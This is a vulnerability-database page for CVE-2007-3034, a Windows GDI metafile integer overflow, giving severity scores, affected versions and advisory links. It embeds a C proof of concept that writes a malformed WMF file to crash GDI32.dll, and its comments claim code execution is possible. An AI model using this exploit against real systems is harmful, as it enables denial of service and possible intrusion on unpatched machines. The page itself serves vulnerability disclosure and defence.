CVE-2007-3034 : Detail

CVE-2007-3034

75.8%V4
Network
2007-08-14
19h00 +00:00
2018-10-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer overflow in the AttemptWrite function in Graphics Rendering Engine (GDI) on Microsoft Windows 2000 SP4, XP SP2, and Server 2003 SP1 allows remote attackers to execute arbitrary code via a crafted metafile (image) with a large record length value, which triggers a heap-based buffer overflow.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 4337

Publication date : 2007-08-28 22h00 +00:00
Author : Gil-Dong / Woo-Chi
EDB Verified : Yes

/* * MS07-046(GDI32.dll Integer overflow DOS) Proof Of Concept Code * by Hong Gil-Dong & Chun Woo-Chi * Yang yeon(?~1542), Korea * "I shall keep clenching my left fist unitl i see the real tao". * This POC is only for test. If an application read a malformed wmf * file like this POC, the application will be crashed. If you apply * this code, you can execute an arbitrary code. * * We tested this code on Windows XP SP2 Korean Edition * (GDI32.dll version 5.1.2600.3099). But it will work well on other * systems. */ #include <stdio.h> #include <windows.h> #define WMF_FILE "ms07-046.wmf" void usage(void); int main() { FILE *fp; char wmf[] = "\x01\x00\x09\x00\x00\x03\x11\x00\x00\x00\x00\x00"\ "\x05\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x13\x02"\ "\x32\x00\x96\x00\x03\x00\x00\x00\x00\x00"; int i; HMETAFILE srcMeta; usage(); if ((fp = fopen(WMF_FILE, "w")) == NULL) { printf("File %s write error\n", WMF_FILE); return 0; } for(i=0; i<sizeof(wmf)-1; i++) fputc(wmf[i], fp); fclose(fp); srcMeta = GetMetaFile(WMF_FILE); CopyMetaFile( srcMeta, NULL); return 0; } void usage(void) { printf("MS07-046 Windows Meta File RecordParms Integer Overflow \n"); printf("Proof of Concept by Hong Gil-Dong & Chun Woo-Chi \n"); } // milw0rm.com [2007-08-29]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    References

    http://www.us-cert.gov/cas/techalerts/TA07-226A.html
    Tags : third-party-advisory, x_refsource_CERT
    http://www.kb.cert.org/vuls/id/640136
    Tags : third-party-advisory, x_refsource_CERT-VN
    http://secunia.com/advisories/26423
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.securitytracker.com/id?1018563
    Tags : vdb-entry, x_refsource_SECTRACK
    http://www.securityfocus.com/bid/25302
    Tags : vdb-entry, x_refsource_BID
    http://www.vupen.com/english/advisories/2007/2870
    Tags : vdb-entry, x_refsource_VUPEN